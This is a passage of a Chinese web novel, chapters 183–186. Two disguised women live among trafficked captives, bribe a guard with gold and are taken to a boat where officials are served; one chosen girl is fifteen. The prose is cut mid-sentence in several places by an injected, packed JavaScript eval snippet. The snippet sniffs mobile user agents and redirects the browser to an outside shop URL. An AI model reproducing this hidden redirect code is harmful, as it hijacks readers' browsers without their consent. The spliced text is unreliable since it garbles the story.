这姑娘看着眼前这个女子,长相美艳清冷,没有刚刚那女子看起来好相处。她擦了擦脸上的泪水,先看了一眼虞初,见她点头这才放心回答极风娘子的话。 “我叫易桦,你们是姐妹吗,还是……” “她是我姐姐,叫元珍珠。我是妹妹,叫元贝贝。” 虞初本来一脸严肃的坐在旁边,毕竟人家在说自己悲惨身世,表情若不严肃一些确实很不尊重。可听见极风娘子临时取得两个姐妹名字如此草率,还是没忍住脸上的嫌弃。好在她收的及时,立马用手挡住自己的脸假装捋了一下自己的头发。易华听见元珍珠那边的动静,正想转头去看。元贝贝两手拉住她满眼心疼道:“实不相瞒,我先前有个姐妹的遭遇跟你很是相似。不过她没你心宽,没转的过弯来,最后……”元贝贝似乎想起了她那个朋友,眼角微红,“你能这样想最好,只有活在世上,以后的事情才有转机。哪怕现在身陷囵圄,双手也要撑在地上不要让自己掉下去。” 虞初看着极风娘子谈及自己朋友的事情也逐渐深沉起来,她知道极风娘子先前一定是受过很多苦楚才走到现在这一步。她更知道,极风娘子口里的那个朋友,或许还不止一个。世间多疾苦,唯凡人不能左右。更何况还有那句“绳专挑细处短,行船又遇顶头风”。如今细细想来,确实如此。更逢乱世,又何处祈祷平安。 “你们不用劝我,我早就想通了,我被卖过来的时候就已经没有家人了。只是刚刚没被选上,心里不好受而已。”易桦用胳膊怼了一下她们二人一下,“那个一脸苦相的姑娘你们瞧见没,你看她身上鼻青脸肿的,那就是想不开的。你们刚来,我劝你们有机会就出去,千万不要长久待在这里,终究是要拖鞋的,做人还是要识时务些的好。” 虞初盯着那个满身是伤的女子看了许久,目光迟迟没有离开。她两手环抱着膝盖,蜷缩在她们对面。衣服上的血渍有干有湿,应该是旧伤上又添了新伤。衣服破烂,就连衣袖也只剩下右手的半截。好在这天不冷,倒不至于再被冻着。 “她怎么了?” “她父母给她许了人家,可是她好像是喜欢从小青梅足马的表哥,就不愿嫁过去。本来郎有情妾有意,她就想为了自己的终身幸福拼一把,就跟着她表哥跑了。可是天不遂人愿,路上不知吃了什么,再醒来时已经是在这里了。” “那她表哥呢?” “说是二人路上一起吃的饭,后来就迷迷糊糊的晕了过去。这边也没见过抓男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我去看看她,好像在哭。”虞初说着话就起身准备往对面走去。易桦一把拉住她小声劝道:“别去了,就我刚刚跟你说的那些还是问了好几天才问出来的。她这人不怎么讲话,估计你去了她也不会理你。” 易桦也不是说风凉话,刚开始见她被打,她也是有好心上前想要帮她查看的。可是她不肯配合,连外面扔进来的药都不肯涂。易桦清楚,想必也是想好了不要苟活的,若不然也不至于如此模样。 虞初先是坐在那姑娘旁边好一会,见那姑娘一直没动,她也不曾主动去跟她说话。在这封锁的屋子里面,时间过的异常的慢。虞初将头靠在墙上倚墙而坐,本想等她抬头就上去搭话,没想到一直没有机会。最后毫不意外的只等来的倦意,眯着眼睛就睡了过去。 极风娘子倒也不奇怪,毕竟这里,好像除了哭,就是睡觉的人。直到中午放饭,整间屋子才又有了不一样的动静。 易桦见送饭的走到门口,立马伸手推了推旁边的人:“贝贝,快去抢饭,不然马上就要饿肚子。” “还要抢……饭……”极风娘子虽嘴里嫌弃,可身子还是很诚实的站了起来。折腾了这么久她还真的是饿了。 虞初刚睡醒,还没反应过来,那边的饭就已经被分完了。她目瞪口呆的看着空空如也的竹篮,里面的碗盘除了一点汤水,连片叶子也不曾剩下。 “贝贝……” 极风娘子苦笑:“珍珠,我多抢了一个馒头,快来!” 183. 第 183 章 吴中钱丛 虞初走过去接过极风娘子手上的那个大馒头,然后又走到那个姑娘旁坐下。见她还是将头埋在腿间,一动不动,也没有要抬头的迹象,最后还是没忍住伸手拍了拍她的后背。 “姑娘,我看你伤的不轻,还是吃一些吧。”虞初掰开一半的馒头递给了姑娘,可是对方并不领情。她抬头看了一眼虞初,就再不说话。她的嘴唇起了层翘皮,眼白布满了血丝。虞初将馒头递到她面前,可是刚碰到她手臂,那姑娘就又往旁边转了过去,不予理睬。 “姑娘你想知道你表哥的下落吗?”虞初没猜错,那姑娘听见虞初提到她表哥立马抬头狐疑的看着虞初。 “你又如何能知道他的下落?” 姑娘声音细软如莺语,她的嘴唇小巧如桃花,梨花带雨的看着虞初。嘴上虽不相信虞初真的有办法,可眼睛还是死死的盯着她,哪怕是缥缈的希望她还是想试试。 “你先把这半个馒头吃掉,我也挺饿的,只能给你一半。”虞初一手递给她馒头,一手将剩下的一般馒头胡乱塞到自己嘴里。她边嚼边看着那姑娘,直到她接过去馒头虞初才又笑道,“这就是了,真要死了,你表哥找过来带回去一堆白骨那也确实挺惨的。” 那姑娘刚咬了两口,唇边裂开的口子将血蹭到了馒头上。不知是疼的还是听见虞初的话心里难过,眼泪禁不住的直往下流。 “你是在哪里被人拐过来的?”虞初刚咬了一口馒头,还没来得及吞下去就差点被自己噎死,“咳咳……呕……”虞初眼里都干咳出泪来了,旁边那姑娘见状立马放下手里的馒头帮着虞初拍拍后背。许是这姑娘本就久未进食,尽管看得出来她很用力了,可拍背的力道还是远远不够。虞初赶紧拉着她的两个胳膊环在自己腹间,转头过去示意她用力挤压她的腹部。起初那姑娘一脸懵懂,就是照着虞初的话做。可她力气有限,好像并不管用。后来见虞初的脸越来越红,情急之下才抓紧拳头用尽吃奶的力气用力按压了几次。虞初这才有机会将卡在喉咙里的馒头给吐了出来。 “你好点没有?” “还好吐出来了,这鬼地方,连口汤水都不给!”虞初越说越气,直接将手里剩余的馒头狠狠的摔在了地上。奈何自己肚子不争气,咕噜咕噜直叫个不停。虞初的气性没坚持多久,还是将那馒头捡了起来。 极风娘子刚刚只顾着跟易桦说话,后来听见虞初发脾气这才注意到了她这边,上前将自己的馒头递给了虞初:“你吃我的。” “哎呀,不用,我把外面一层摘干净照样吃。”虞初推开极风娘子的手催促她回去,“你吃你的,我这些够了!” 极风娘子见她不肯接受,又拿着自己的馒头坐了回去。易桦见她过来苦笑:“这时候了,你们姐妹感情倒是好,一个馒头还分来分去的。” 极风娘子边吃边笑:“你若是没吃饱,我一样会给你一些。” 易桦还在吃东西的嘴先顿了一下,然后又若无其事的继续吃着自己手里的东西,当作玩笑话一听而过了。极风娘子见她不搭话也自顾自的吃起手里的馒头,不再这个话题。 对面那姑娘还在给虞初拍着背,她低着头观察着虞初憋红的脸蛋,一直问她有没有好一些之类的话。 虞初好些后拉着她的手感谢道:“姑娘好心,这次还真要感谢你。” 那姑娘淡淡的点了头坐在虞初身边。她低着头,时不时的往虞初那边看几眼,手里的馒头有一搭没一搭的往嘴里送着。虞初当然看出了她欲言又止的忍耐,只不过她诚心想让她先将手里的馒头吃完再说。这姑娘表面看起来细柳扶风,什么都淡淡的。说话声音也是细声细语的,可就被打成这样,也没有屈服半分,想来也是个心里刚强的。 终于那姑娘死吃硬塞的把馒头吃完,她盯着虞初,也不说话,只眉眼坚定看着虞初,直到她有些不忍,先说起话来。 “你是怎么来这里的?” “我……我路过前面的有路驿站,就傍晚吃完饭想着休息一晚,没曾想……” “有路驿站?”虞初张大嘴巴看着这姑娘,欲言又止。 “姑娘你也是这里吗?” “啊……嗯,也是这个有路驿站!”虞初起初说能找到她表哥下落也只是权宜之计,没想到还真歪打正着还真可能找到她表哥,至少线索是肯定会有的。若是有路驿站,那定又是姜君和伙计的手笔。想到这里,虞初才突然想起来这么久她好像一直没有问过那个伙计的姓名。 “你们……” 那姑娘见虞初也是路上半路被迷晕过来的,将手轻轻落在她的肩上,默默的站在旁边。 虽然那姑娘没有说话,虞初看得出来她其实很关心她,只是她脸薄不知道怎么表达。 “我刚刚说的是真的,我是真的有可能能帮你问道你表哥的下落,不过前提你也看到了,我们得想办法先出去。”虞初一本正经的看着她,“我还不知道你叫什么呢,我叫元珍珠,那个是我妹妹,叫元……贝贝……”虞初一时间差点将极风娘子的名字说错,还好反应的快,这才没有露出破绽。 “我叫钱丛,吴中人,一路跟着表哥从那边过来。”她说到此处声音忍不住又哽咽起来。虞初连忙打岔问道:“这么远,你们怎么会往这边来,吴中可是山清水秀的好地方,虽不在北齐城中,也算是周边最富裕的地方之一了。” “我……我……” 虞初看着钱丛惴惴不安的手来回在身前摩擦,先是拉着她先坐下,然后思考一番猜测道:“钱姑娘,我自见你第一面时就发现了你应该是大户人家的小姐,你看看你那纤细的手,只有手指头上有些微茧文,是抚琴留下的吧。你再看看你,尽管身上这么多伤痕,底子里还是细皮嫩肉的。只是可惜了这催弹可破的蛋白般的肌肤怕是多少要录留下些印记了。 “我父亲在吴中确实是有官职在身的,从小我会学一些琴棋书画,虽不精湛,也各都通些皮毛。” “你就不要谦虚了,你这气质确实看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虞初看着钱丛身上破碎零落的衣裳,起身将自己的外衣脱了下来披到了她身上。 易桦和极风娘子见虞初这边进展好像挺顺利的,就都起身往她们这边来了。易桦走到钱丛旁边,将她刚扣上的纽扣又给解了下来。然后走到旁边角落将那个从虞初她们进来时就放在那边的黑瓶子给取了过来。 “先别穿衣服,这是他们那天扔进来的药,估计也不想你留疤拉低了价钱。你既然决定好好的,那就把药也涂一下吧。” 钱丛见她们都来帮自己,有些难为情,又心存感激。可是她感谢的话不知如何开口,只好呆呆的站在旁边听她们指挥。反正易桦元氏姐妹怎么说,她照做就是。 虞初接过易桦手里的黑瓶子,打开瓶塞放在口鼻处细细闻了一闻:“这药治疗你的伤应该是够了,只是要想不留疤,怕是还需要一些别的药材。” 易桦惊讶的看着虞初:“没想到你还懂药,我总觉得你们姐妹二人好像都挺厉害的。我每次抢一个馒头都费老大的劲了,元贝贝过去不费吹灰之力就拿了两个。” 极风娘子尴尬的搓了搓手。 “手大!” 184. 第 184 章 小白里 虞初一把将瓶子塞到易桦手里:“我小时候顽皮,经常被打,我家里人常给我用这样的药。” 易桦一边给钱丛上药一边打量着虞初,那双杏仁弯眉大眼里确实透着掩饰不住的机灵。 “人家都说一般姐姐多半稳重一些,妹妹才是那个顽皮的。我看你们两个反过来了,妹妹倒是看起来更安稳靠谱一些。” 钱丛听易桦说话,也侧过头去看了看极风娘子。她朝着她点了点头,然后紧咬嘴唇忍着易桦继续给她擦药。 四人正团在一处,只听旁边的几个人又不知在那边吵些什么。虞初和极风娘子也踱步过去看热闹,挤了两三层人群这才站到了最佳“观战席位”。 “那不是先前劝你的小姑娘吗,怎么被围起来了?”极风娘子用肩膀怼了怼虞初的胳膊,里面的那几个气势嚣张的女子看见虞初过来,立马满脸戾气的朝着她们二人走过来。 “刚过来就抢了我们两个馒头,一点规矩都没有。我还没去找你们,你们倒还敢过来。”其中一个看起来脾气很不好的女子带着四五个人丢下团在地上的小姑娘朝着虞初她们走了过来。站在极风娘子旁边的一个乖顺姑娘小声劝道:“你们快别看热闹了,她们不是你能惹得起的。” “惹不起,哼,我倒要看看怎么就惹不起了。” 极风娘子两手交叉横在胸前,一脸漠视的看着她们慢慢走进。虞初虽也跟着一起摆出一副不服气来干的架势,脚步却很诚实的往极风娘子身后移了几步。大概碍于面子,也没好意思躲得太过。 “你们想做什么,同样是草棚里待宰的羔羊,谁还高人一等不成?”虞初见极风娘子主动往她身前多挡了一些,这下可算是彻底肆无忌惮起来了。直接站在极风娘子身后就开始跟她们叫嚣起来。打架打不过,吵架可不能输。 易桦和钱丛见她们跟那几个人起了争执上去就要将她们二人拉回头。钱丛挽着虞初的手臂小声劝道:“珍珠,我们打不过她们的,之前易桦也吃过亏的。我们先道个歉算了。” 易桦心里虽然不服气,可是对面那几个女子确实个个人高马大的,她们这四个枝干粗细一样的人哪里会是那些人的对手。 “珍珠,我们先走吧。贝贝,走吧,别跟她们争了,到头来吃亏的还是你们。”看着她们越来越近,钱丛急的都快跺脚。可是不管她们二人怎么劝阻,那两个姐妹就跟定在那边一样,半步都没有移动。 “真是奇了怪了,刚刚还垂头丧气满脸怨气的两个人,怎么现在就变成了好斗的战斗赛鸡一样。真是心大,伤心一日便想开了?难怪你小时候被打,看来都是有原因的。”易桦见那几个已经走到跟前,索性拉着她们二人就要往后面拖。 虞初转过头撇开易桦的手:“你们俩先回去,我有贝贝,不会太惨。” 钱丛裹着虞初的衣裳站在最后面,虞初拉了拉她的衣裳:“快走啊。” 谁知钱丛像个木楞的傻子一样,站在那边细声细语道:“四个人总归比两个人好一些的吧。” 易桦本来想离开,听见钱丛这样讲,加上又想起前些日子那些人也是这般欺负自己的。今日索性就再跟她们杠一次,大不了就再被打一顿。她往前一步走到虞初旁边:“连钱丛都不怕,我走好像有些不好。” 虞初无奈的吸了口气看了看极风娘子:“我们……”虞初怕被旁人听见又凑到极风娘子耳边,“如果知道你会武功,好像容易引起注意,不好办事。” 极风娘子小声抱怨:“不能露武,那……跑吧!” 易桦刚满腔热血的准备好去跟那几个人干架,突然被元氏姐妹拉着逃跑,匆忙转身跟上去,鞋都掉了一只。 “我真当你们是有骨气的,没想到还不如我!”钱丛娇喘的跟在后面,体力有些跟不上。好在这屋子统共也就这么点大,没跑几步四个人就被围堵在墙角。 “我看你们嘴还厉不厉害。”柿子当然先挑软的捏,其中一个女子上来就朝着钱丛脸上打了一巴掌,“都是要死的鬼了,还有力气看热闹呢!” 钱丛手捂住脸满眼的不服:“你凭什么打人?” 那女子见钱丛敢对她的举动不服气,伸手还要再给她一些教训。拉住钱丛就往她们那边拖,想要拉过来大家一起教训。虞初和易桦见状立马上拉着钱丛的另一只手,钱丛横在中间被拉成了一个“大”字。可是他们只有三个人,对面挤在一起,估计最少有七八个人多。虞初干脆一不做二不休走到中间就朝着那个再前面拉钱丛的那人手臂上死死的咬了一口,怎么也不肯松开。 “啊……啊……你是狗吗!”那女子赶紧甩掉钱丛伸手要打虞初。极风娘子目瞪口呆的站在旁边,直到那人手真的快到虞初脸上时她才反应过来,一手抓住那手竖再空中。 “啊……啊……”这女子一只手被虞初咬住,一手被极风娘子死死的捏住动弹不得一点。那张刚刚还满口狠话的嘴如今只会嗷嗷的哭叫,她身后的几个人越是拽她,极风娘子的手就捏的越用力,最后还是那女子边哭边喊:“疼……疼……求求你……” 后面几个见这姐妹二人不好欺负,也都不敢上前。 钱丛也顾不上脸上的胀痛,呆呆的站在旁边不知如何是好。易桦看到这乱哄哄的场面,躲在钱丛旁边偷笑。周围事不关己的很多,不敢劝说也不敢拉架,生怕自己不小心惹到谁,本就水生火热的日子就更加煎熬了。 “我要是松开你们又来找我们麻烦怎么办?”极风娘子见对方求饶就趁机谈判,虞初说的没错,这这边还是低调一些的好。 “绝对不会,她们都听我的,我们以后井水不犯河水,我说到做到。只要你放……啊……” 极风娘子干脆的甩开她的胳膊,虞初也松开手伸手擦了擦嘴边的口水:“早点求饶我也不至于咬得口水都要流出来了,唉,你那胳膊怕是半月没洗过了吧,呕……” 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不要动。”虞初一手给钱丛擦药,一手扶助她的脸不肯她侧让。 极风娘子站在旁边也安慰道:“不用怕,相信她。” “不是怕,就是实在是有些疼……”好不容易钱丛忍到了虞初帮她涂完药膏,她刚想伸手摸脸就被虞初拦住了。 “不要碰,等会就好了。”虞初一边收着药膏一边解释。“你身上的伤有衣服盖住尚可遮掩过去,可是这脸要是肿了,再来人选人,多半就没了机会了。白瞎张这么好看的一张脸了。” 易桦凑到虞初跟前看着那个小药膏:“这东西当真有用,我看她的脸立马就好了一半了。能给我看看吗?” 正说话间,虞初余光瞥到了对面有人看着她们。她推开易桦收好药膏,然后若无其事的坐下。之后几人时不时的说些家常,上饭就极风娘子和易桦去抢,如此这样过了两天,就又有两个人过来了。 185. 第 185 章 金饼子 门上的锁链一被打开,那些女子就自觉的整理起自己的妆容起来。虽然在虞初眼里,不管那些人怎么整理自己的仪容仪表,那张张脸还是脏兮兮的,乍一看甚至带着些喜感。她帮易桦钱丛稍微打理了一下,拦着她们坐下。 “不用过去,他们会找到我们的。” 易桦满脸奇怪的看着虞初:“要说你们确实是有些姿色没错,可是我们若不上前,那些人可能直接就在前面那堆里面挑几个就走了。” “上次我就听见其中一个说先挑几个,过两天再看看。我想那边应该是缺人了,要不然也不会要人要的这么快了。至于其余的,你等着瞧就知道我说的是不是真的了。” 易桦尽管半信不信,还是乖乖的坐在了虞初的旁边。她时不时的探出脖子张望那边的选人进度,果不其然,那两人就在门口的那堆人里选了十人就准备走了。易桦一看情况不对立马起身。 “快起来,他们都走了,起来……” 虞初拉着易桦的胳膊不急不躁:“你坐下,不着急!” 易桦心里虽不满虞初就这么浪费了机会,可见她们都不动,自己又乖乖坐下了。 “气死我了,难不成真要在这一辈子了!” 话刚说完,门口的两个人中的一个长得稍显斯文的那个,拨开人群朝着虞初她们四人走了过来,易桦眼睛都看直了,一脸不敢相信的看了看虞初。 “真来人了,仙人高啊!” 好事过不了三秒,易桦就被那男人男人无情的推开了,奔着虞初直去:“把东西给我拿出来!” 虞初静静的坐在那边不说话,那人见她不理自己,声音又大了一些:“我再说一遍,将你袖子里的东西拿出来!” 极风娘子见那人就要动手,拳头也已经开始拽紧时刻准备起来。 “袖子里的是准备给你的,非要吵到你那同伴也听见?”虞初小声凑到那男子耳边说话,“告诉他你就只能剩一半了,这可如何是好。” 那人立马回头看了一下还在外面的同伴小声催促:“拿出来!” 虞初将手伸进衣袖直接掏出来一块金饼放在那人手中:“大人可否先带我们五人出去?” 那人看到这么大的一块金饼两眼笑眯眯道:“你跟我走,旁的下次再说!” 虞初不动,又掏出来一个金饼放在他手上:“这是全部了,大人这一个金饼估计够你半辈子无忧了,这还是两个。换我们五个人出去,你看值不值?” “这……” “我统共就这两块,若是大人你不答应,我就只能试试问一问另一位大人了。反正金饼已经给你们了,你们两人分分也行。” 那人怎么舍得自己如此轻易到手的金饼分给旁人一个,立马笑道:“我就说感觉这次只选是个不够,加上你们五个我看正好,也省得下次再跑一趟了。”说着就带着她们五人往门口走去。门口那告状的女子看见她们五人也要被一起带走,气的直接就喊道:“为什么她们可以出去,她……” 那人上去就是一个耳光扇了过去:“不过是留着吃剩的馒头也值得你大呼小叫的告状。不过还好你说了这么一嘴,不然我还不知道里面还有五个这么好看的。得来全不费工夫,这样也省得上头挑肥拣瘦的了。” 另一个听了这话也好奇的看了一眼新带过来的五个女子。在看到虞初和极风娘子的时候立马上前阻止道:“这两个不行,这两个是前两日刚过来的,带过去坏了规矩。” “规矩,你不说我不说,谁知道是新来的。再说,你看她们两个,看着就像是大家的小姐。这里怕是待了一日就待不下去了。我刚刚说带她们离开这里去那边,没有一点抗拒。再说,这几批送上去的你看能有几个满意的,到头来挨骂的不还是我们。” 那人好好想了想,确实是这么个道理。就连到手的银钱这段时间都变得少了,说是质量不行。 “这段时间上面缺货缺的紧,以前还教导一两月,你看上一批的那几个婆子就假模假样的教导了三天就把人送上去了,不也相安无事,说到底也不是只有我们不按规矩办事不是!” “嗯!”那人点了点头连忙招手催促虞初她们五人赶紧往外走。“快点,那边怕是已经在等了。” 易桦僵在那边,还来不及反应,就被极风娘子先拉着走了。待她们离开后,屋子里又传来哭天喊地的哀嚎。虞初她们十几个人挤在一辆马车里都默默无话。 马车走了很久,极风娘子始终闭着眼睛感受马车的轨迹,车上的好几个姑娘都被转的晕头转向的。到了下半夜这马车才在一个小院里停了下来。在两男子的催促下,十几个姑娘一一下了马车。她们围在一起,小声嘀咕这这是哪里。很快,就又有两个脚步深浅不一的妇人过来。她们提着灯笼一一在姑娘们脸边照过,稍稍点头。 “这次确实有几个不错的。”说完给了二人各一袋子钱,就让他们先离开了。留下的姑娘站在院里等着妇人训话。 虞初微闭着眼睛,想着这黑灯瞎火的也看不见她脸上的表情。实在是太困了,就先站着眯一会。可她眼睛刚闭上,就有一个戒尺打在自己身上,吓得她直接大叫起来。 “干什么!” 透着灯笼光看清是妇人手上的戒尺后这才勉强又站好,不敢说话。 “你们那些登不上台面的小心思不要摆出来让我笑话,在我这,你们要学的第一课就是时刻保持良好状态,要时刻精神一些,不停的微笑。” “神经病!”虞初心里已经骂了一百遍了,还是忍不住在心里又嘀咕起来。“大半夜,微笑给鬼看啊。” 那两个妇人让她们排成两排,她们两人在两排姑娘中间来回穿梭盯看,直到都站得让她们满意了这才告诉她们房间在哪,嘱咐她们去房间取了衣裳再都去沐浴后才可以休息。至于第二天集合的时辰,是卯时三刻! 虞初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了好了,都吃完了吧。今晚我需要对你们每个人都进行仔细的检查,回去沐浴完我一个时辰后我们就过去。”两个妇人吃完擦干净嘴就起身吩咐起接下来的事情,下面的姑娘只管坐好,没人多说一句。 易桦低着头看着钱丛:“还好那时候珍珠把那药膏放在我身上,不然也要被那个贪得无厌的家伙给拿走了。这两日我每天都给你摸那些伤口,你放心,我昨儿个看着就已经没什么疤痕了。” 钱丛还是有些担心,她心事重重的摸了摸自己的胳膊:“万一……” “你这么好看,不会的。你这是不相信我的药膏?” “不是,我就是总觉得自己运气不怎么好。”钱丛说这话也不意外,虞初从见到她第一面起,她就总觉得自己做什么都不行。可是从一个旁观者来看,她算是她们三个里面长得最好看的了。在选美这件事情上,多少有些杞人忧天了。 “再不济再给一个金饼子就是!” 一桌的人都瞪大眼睛看着虞初,个个都惊得不知道该如何开口说话。 186. 第 186 章 曹娘 果不其然,极风娘子先进去后不知道都跟那两个妇人说了些什么,后面她们几个只进去走了个过场,连衣服都没要脱就过了关。 十几个人中就两个体重有些过的没能过关,旁的都回去收拾好行礼做好准备随时去到下一个妇人口中天天念叨的能过上“好日子”的地方。 虞初坐在屋里的床边看着她们几人收拾东西,极风娘子东西不多,先收拾好就去帮韩白里收拾。白里站在桌子旁边犹豫许久,还是将桌上的果子糕点一并装进了包袱。极风娘子看见后直接拿过包袱,打开从里面拿了一个出来递给了韩白里:“你喜欢吃就再吃一两个,只是这剩下的你不能带过去。那地方我没去过,但我想来定会搜身确认后才会放我们进去。你本就年纪不大,这次你能进去已是不易,你这时候可别让她们抓住把柄出来,再将你扣下。” 虞初依旧坐在床边,转过头去假装没听见极风娘子的话,还转头嘱咐易桦别忘了将没用完的药膏收起来,最好是不容易找到的地方。 “这个你放心,我这次就是将药膏包在头发里带过来的,好在你这药小巧,不然估计也带不进来。” “那你那金饼子是怎么带进来的?”钱丛停在手里的活好奇的看着虞初,她们刚进来的时候都有搜过身的,“这次我们都没有被脱衣检查就过关了,怕是贝贝又给了她们好处了吧!” “这个你得问贝贝!” 极风娘子听见虞初说她,转头看向虞初这边笑道:“鞋底子是我自己亲自缝针固定的,每层里面我都会放一点片金叶子,又薄又软,耽误不了走路。” “你那鞋底是你自己纳的啊,那么整齐的走线,没想到里面还藏了这么层故事。”钱丛是吴中人,最擅长的就是针线绣花了。这几日跟她们时刻处在一处,很多细节都是看在眼里的。 “要说你也是心细的人,每日安排的事情那样紧,你还注意到别人脚底的走线。”虞初看着钱丛大笑,旁边的韩白里吃着刚刚极风娘子拿出来的糕点大口的吞咽着。虞初起身随手拿了杯水递给白里,“你这丫头,就是再好吃的东西也要慢一些才能吃出来味道的。” “我还是想多吃一些,这么好吃的东西,以前吃不到。现在有了,竟要丢掉。珍珠姐姐,我是真的舍不得。”韩白里喝下虞初接给她的水,这下口中的话才渐渐清晰了。 易桦背上背了好些东西站在虞初的旁边:“你怎么都不收东西,刚我听外面都开始喊了,让赶紧过去集合去。” “我啊,我没东西带。我不信我们过去那边没吃没喝没穿的。就是没有,你们不是带了吗?”虞初嬉皮笑脸的看着易桦,指着她背上的大包袱,“这里面好东西怕是也不少。” “我把前几日钱丛做的那些女红都带上了。这布料虽经不住磨损,可就这蚕丝二字就值不少银子了。加上钱丛这栩栩如生的绣花,就算不卖银子,也好给我们各自添置些好衣裳。”极风娘子看了看虞初,见虞初摇头这才无奈说道:“那些布料到底算不上重量,易桦你要是喜欢就先带上。只是如果后面被查到非不肯你带,你就……” “若真查到,我不带不就是了。”易桦乐呵呵的站在那边抖动了肩上的包袱,心里美滋滋的。 只是刚刚易桦有多乐呵,现在就有多不开心。还没上马车那大包袱就被两个妇人直接给扣下了。易桦虽有不甘,倒也记得元贝贝先前交代她的话。苦笑着上了马车,一路无话。 一路上那十几个姑娘被蒙着眼睛,中间又被带着转了两辆马车这才上了现在这个人声混杂的地方。虞初晕头转向的拉下眼睛上的黑布,看见极风娘子早就已经摘下黑布趴在反锁的木门上不知听些什么。 虞初刚想走动,就见极风娘子蹑手蹑脚快速回到队伍中,朝着自己使了个眼色就将黑布又都带上绑好。虞初虽有些晕船,但素日包扎伤口对打结甚是熟练,手上的动作比起极风娘子有过之而无不及。 “这次上来十二个姑娘,应该是够了吧。” “按说船上的姑娘原本也够了。如今这北齐内乱,北凉哪会错过这等机会,又想出兵。路过我们这边的北凉贵族达官一下子就多了一倍不止,这不,连我都已经连轴转了三夜没怎么合眼了。” “哪止是你,我连中午饭都还没吃呢,上面就一直催我来接人。也不知这批姑娘怎么样,前些那几个是一个不如一个。” “你当这买卖好做,能弄过来人就不错了。” 虞初听着那两人一边谈话一边开锁。倒腾了有一刻才将这木门打开来。 “活该你吃不上饭,一个锁而已,开了这么久!”虞初心里忍不住吐槽,正想着,眼上的黑布就被人粗鲁的揭了下来。 “这个不错!”说着那人就想上手摸虞初的脸,好在虞初假装光亮刺眼往后躲了躲,那男子这才扫兴的把不安分的手又放了下来。 “你赶紧的吧,还有这些个心思呢!”旁边的同伴催促着,这人才又往前走了几步一一将后面几个姑娘脸上的黑布全都摘了。 “这批都还可以,你看看那个,冷艳傲绝,绝对的尤物。” 极风娘子虽说被人这么打量着自己很不高兴,但如今也只能先忍着。 “这里最不缺的就是美人,虽说眼前这有几个确实是惊艳的,那也不是你我能染指的。要是被上面知道,少一两根手指那也是一句话的事情,你还是小心谨慎一些吧。” 那人听了同伴扫兴到极致的话满脸的不悦,他又多看了几眼那几个姑娘,无奈摇头。这样的绝色,偏偏自己无缘。 虞初一等人被二人带去梳洗打扮后来到了吃饭的地方,只是令她们没想到的是,这两人给她们十二个人只上了两盘瓜果放在桌上。 “这就是你们的晚饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117031|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赶紧吃了跟我走。” “连吃饭都要催,再说这些东西哪里能吃饱!”坐在虞初旁边的姑娘低着头小声嘀咕,只是没想到那两人品行虽看着不怎么样,耳朵倒是挺好使的,连这么小声的话都被他们听进去了。 “姑娘,在这里你还真就不能挑三拣四的。这是我第一次听见这话,我想也是最后一次听见这些。下次要是你们谁再说这些,怕是一两日连这些瓜果都要没了。不是我人轻官威重,而是上面特地吩咐了,不能让你们吃太饱。误了纤细身材。” 虞初心里冷笑:“是怕我们吃太饱有力气跑吧!” 刚刚说话的姑娘哪里还敢再抱怨,拿起桌上摆好的筷子和众位姑娘们一起有条不紊的吃着桌上这寒碜的两盘“晚饭”。 傍晚刚过,接临饭点。几个姑娘草草解决了自己的晚饭就被他们二人带到船头排排站好。这时一个拿着桃花帛扇比她们都要大上一些的女子,脚步冲忙的小跑到她们跟前。拿着扇子就指着那两个人责怪起来。 “你看看时辰,都好几个大人上了船了,你这人才刚给我带过来。哪里还来得及交代什么事情,真是的,平日里做事就磨磨蹭蹭的,多少次了,还这样!” “曹娘你也别恼,我要是不让她们多费点时间洗干净了过来,你也敢让她们去服侍那些大人吗。都是给主子做事的,脾气可别再这么急了。”说着那人就将手里的名册给了曹娘,二人完事就下去了,也不理会这边还要发生什么,只与他们无关。 那二人走后,曹娘从她们跟前一一看了过去。拿着帛扇就随意指了几个姑娘让她们先站到旁边,等到后面来了个比她们稍大的婢女带着她们先走了。具体去了哪里虞初不知道,因为她还没被点上名,和极风娘子一样,依旧站在船头吹着凉飕飕的风。 “你多大了?”曹娘走到韩白里跟前,从头到脚反复打量了好几遍。见她畏畏缩缩的不敢回话,又放慢语调又问了一遍。 “回曹娘的话,我今年刚满十五,叫韩白里。” 曹娘满眼欣喜的看着眼前这个满脸局促的姑娘:“胆子虽不大,好在机灵,也算是个好苗子。你先出来,等会跟着我走。” 韩白里哪里舍得平日里相处的姐姐们,回头又望了望她们,迟疑的一直没有移动脚步。最后还是虞初使眼色让她听话,这才蛮不情愿的往曹娘那边站了过去。 